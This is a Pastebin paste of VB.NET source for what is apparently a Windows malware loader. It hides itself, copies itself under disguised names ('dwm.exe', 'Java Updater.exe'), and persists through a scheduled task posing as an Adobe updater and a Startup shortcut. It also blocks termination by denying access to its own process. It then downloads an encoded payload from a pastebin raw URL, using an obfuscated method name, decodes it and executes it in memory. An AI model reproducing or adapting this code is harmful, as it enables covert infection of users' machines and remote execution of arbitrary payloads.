Advertisement
wzLeonardo

Server_20_02_2017

Feb 20th, 2017
548
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
VB.NET 6.98 KB | None | 0 0
  1. Imports System.IO
  2. Imports System.Net
  3. Imports System.Text
  4. Imports System.ComponentModel
  5. Imports System.Security.AccessControl
  6. Imports System.Security.Principal
  7. Imports System.Runtime.InteropServices
  8. '
  9. 'if you are not me(leo) or red you can stole the codes !!!
  10. 'skype > el30n4d0
  11. 'https://www.youtube.com/watch?v=j6V6tNP8nd0&t=1s to get the strings to paste into pastebin
  12.  
  13. Public Class Form1
  14.     Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
  15.         On Error Resume Next
  16.         Me.Visible = False
  17.         Me.Opacity = 0
  18.         Me.ShowIcon = False
  19.     '
  20.  
  21.         Me.ShowInTaskbar = False
  22.         Me.Hide()
  23.         '###############################
  24.         Dim path As String = Environment.GetFolderPath(Environment.SpecialFolder.Startup)
  25.         Dim path2 As String = Environment.GetFolderPath(Environment.SpecialFolder.Startup) & "\Java Updater.exe"
  26.         Dim dwm As String = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\Microsoft\dwm.exe"
  27.         Dim dwm2 As String = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\Microsoft\"
  28.         If IO.File.Exists(dwm) = True Then
  29.         Else
  30.             Dim aFile As String = Application.ExecutablePath
  31.             Dim Split() As String = aFile.Split("/")
  32.             Dim Filename As String = "dwm.exe"
  33.             System.IO.File.Copy(aFile, dwm2 & "/" & Filename)
  34.             Shell("schtasks /Create /SC minute /MO 20 /TN AdobeUpdater /TR " & Application.ExecutablePath, AppWinStyle.Hide)
  35.         End If
  36.         '################################
  37.         If IO.File.Exists(path2) = True Then
  38.         Else
  39.             Dim aFile As String = Application.ExecutablePath
  40.             Dim Split() As String = aFile.Split("/")
  41.             Dim Filename As String = "Java Updater.exe"
  42.             System.IO.File.Copy(aFile, path & "/" & Filename)
  43.  
  44.             CreateShortCut(Application.ExecutablePath, path, "WindowsSystemUpdate")
  45.         End If
  46.         '############################
  47.         IO.File.SetAttributes(Application.ExecutablePath, IO.FileAttributes.Hidden + IO.FileAttributes.System)
  48.  
  49.         Dim c_NewAntiKill As New c_AntiKill
  50.         c_NewAntiKill.c_ImAntiKill()
  51.         '##################################################################333
  52.         qwjdasiodjoqwjoasdijoasidijoasdjioaisodijoasdjiojaiosda()
  53.  
  54.  
  55.  
  56.     End Sub
  57.     Private Function CreateShortCut(ByVal TargetName As String, ByVal ShortCutPath As String, ByVal ShortCutName As String) As Boolean
  58.         Dim oShell As Object
  59.         Dim oLink As Object
  60.         Try
  61.  
  62.             oShell = CreateObject("WScript.Shell")
  63.             oLink = oShell.CreateShortcut(ShortCutPath & "\" & ShortCutName & ".lnk")
  64.             '  oShell.iconLocation = "%SystemRoot%\system32\SheLL32.dll,8"
  65.             oLink.iconLocation = "%SystemRoot%\system32\SheLL32.dll,12"
  66.             oLink.TargetPath = TargetName
  67.             oLink.WindowStyle = 1
  68.             oLink.Save()
  69.         Catch ex As Exception
  70.  
  71.         End Try
  72.  
  73.     End Function
  74.     Public Shared Function rere() As String
  75.         Dim red0 As String = "--nlo**%%%%%%%%%ring".Replace("--", "Dow").Replace("**", "adS").Replace("%%%%%%%%%", "t")
  76.         Dim red3 As WebClient = New WebClient()
  77.         red3.Encoding = Encoding.UTF8
  78.         Dim red5 As Object = Interaction.CallByName(red3, red0, CallType.Method, "http://pastebin.com/raw/vqm8yhwm")
  79. '######################################################################################^^^^^^^^^^ Server link
  80.         Return red5
  81.  
  82.     End Function
  83.     Function qwjdasiodjoqwjoasdijoasidijoasdjioaisodijoasdjiojaiosda()
  84.         AppDomain.CurrentDomain.Load(Decrypt(rere.ToString)).EntryPoint.Invoke(Nothing, Nothing)
  85.     End Function
  86.  
  87.     Public Shared Function Decrypt(ByVal proj As String) As Byte()
  88.  
  89.         Dim decryptedbye As New List(Of Byte)
  90.  
  91.         For Each reer As Char In proj
  92.  
  93.             decryptedbye.Add(AscW(reer) - 200)
  94.  
  95.         Next
  96.  
  97.         Return decryptedbye.ToArray
  98.  
  99.     End Function
  100.     Public Class c_AntiKill
  101.         <DllImport("advapi32.dll", SetLastError:=True)> _
  102.         Shared Function GetKernelObjectSecurity(Handle As IntPtr, securityInformation As Integer, <Out> pSecurityDescriptor As Byte(), nLength As UInteger, ByRef lpnLengthNeeded As UInteger) As Boolean
  103.         End Function
  104.         <DllImport("advapi32.dll", SetLastError:=True)> _
  105.         Shared Function SetKernelObjectSecurity(Handle As IntPtr, securityInformation As Integer, <[In]> pSecurityDescriptor As Byte()) As Boolean
  106.         End Function
  107.         <DllImport("kernel32.dll")> _
  108.         Shared Function GetCurrentProcess() As IntPtr
  109.         End Function
  110.         Protected Function GetProcessSecurityDescriptor(processHandle As IntPtr) As RawSecurityDescriptor
  111.             Dim psd() As Byte = New Byte(1) {}
  112.             Dim bufSizeNeeded As UInteger
  113.             GetKernelObjectSecurity(processHandle, &H4, psd, 0, bufSizeNeeded)
  114.             psd = New Byte(bufSizeNeeded) {}
  115.             If bufSizeNeeded < 0 OrElse bufSizeNeeded > Short.MaxValue Then
  116.                 Throw New Win32Exception()
  117.             End If
  118.             If Not GetKernelObjectSecurity(processHandle, &H4, psd, bufSizeNeeded, bufSizeNeeded) Then
  119.                 Throw New Win32Exception()
  120.             End If
  121.             Return New RawSecurityDescriptor(psd, 0)
  122.         End Function
  123.         Protected Sub SetProcessSecurityDescriptor(processHandle As IntPtr, dacl As RawSecurityDescriptor)
  124.             Dim rawsd As Byte() = New Byte(dacl.BinaryLength - 1) {}
  125.             dacl.GetBinaryForm(rawsd, 0)
  126.             If Not SetKernelObjectSecurity(processHandle, &H4, rawsd) Then
  127.                 Throw New Win32Exception()
  128.             End If
  129.         End Sub
  130.         Public Sub c_ImAntiKill()
  131.             Dim hProcess As IntPtr = GetCurrentProcess()
  132.             Dim dacl = GetProcessSecurityDescriptor(hProcess)
  133.             dacl.DiscretionaryAcl.InsertAce(0, New CommonAce(AceFlags.None, AceQualifier.AccessDenied, CInt(&HF0000 Or &H100000 Or &HFFF), New SecurityIdentifier(WellKnownSidType.WorldSid, Nothing), False, Nothing))
  134.             SetProcessSecurityDescriptor(hProcess, dacl)
  135.         End Sub
  136.     End Class
  137.  
  138.     Private Sub Form1_FormClosed(sender As Object, e As FormClosedEventArgs) Handles MyBase.FormClosed
  139.         On Error Resume Next
  140.         Dim dwm As String = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\Microsoft\dwm.exe"
  141.         Dim dwm2 As String = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\Microsoft\"
  142.         If IO.File.Exists(dwm) = True Then
  143.         Else
  144.             Dim aFile As String = Application.ExecutablePath
  145.             Dim Split() As String = aFile.Split("/")
  146.             Dim Filename As String = "dwm.exe"
  147.             System.IO.File.Copy(aFile, dwm2 & "/" & Filename)
  148.             '   Shell("schtasks /Create /SC minute /MO 20 /TN AdobeUpdater /TR " & Application.ExecutablePath, AppWinStyle.Hide)
  149.         End If
  150.         Application.Restart()
  151.     End Sub
  152. End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement